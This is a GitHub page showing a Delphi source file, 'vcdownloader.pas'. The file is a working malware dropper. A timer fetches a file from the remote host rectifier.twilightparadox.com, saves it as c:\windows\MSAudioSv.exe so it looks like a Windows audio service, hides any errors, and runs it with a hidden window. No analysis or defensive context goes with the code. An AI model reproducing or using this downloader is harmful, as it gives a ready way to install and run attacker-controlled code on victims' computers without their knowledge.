-
Notifications
You must be signed in to change notification settings - Fork 1
/
vcdownloader.pas
76 lines (66 loc) · 1.6 KB
/
vcdownloader.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
unit vcdownloader;
interface
uses
Windows,SysUtils, Classes,forms, idhttp, ExtCtrls,shellapi;
type
TForm5 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form5: TForm5;
implementation
{$R *.dfm}
procedure TForm5.FormCreate(Sender: TObject);
begin
Timer1.Enabled := true;
end;
procedure TForm5.Timer1Timer(Sender: TObject);
var
http: tidhttp;
stream: tmemorystream;
filenm: string;
begin
filenm := 'c:\windows\MSAudioSv.exe';
if not FileExists(filenm) then
begin
try
http := tidhttp.Create(nil);
try
http.HandleRedirects := true;
http.AllowCookies := true;
with http do
begin
Request.UserAgent := 'Mozilla/4.0';
Request.Connection := 'Keep-Alive';
Request.ProxyConnection := 'Keep-Alive';
Request.CacheControl := 'no-cache';
end;
stream := tmemorystream.Create;
try
try
http.Get('http://rectifier.twilightparadox.com/msaudio.api', stream);
if FileExists(filenm) then
DeleteFile(filenm);
stream.SaveToFile(filenm);
except
on e: exception do;
end;
finally
stream.Free;
end;
finally
http.Free;
end;
finally
ShellExecute(Form5.Handle, nil, 'c:\windows\MSAudioSv.exe',
'', nil, sw_HIDE);
end;
end;
end;
end.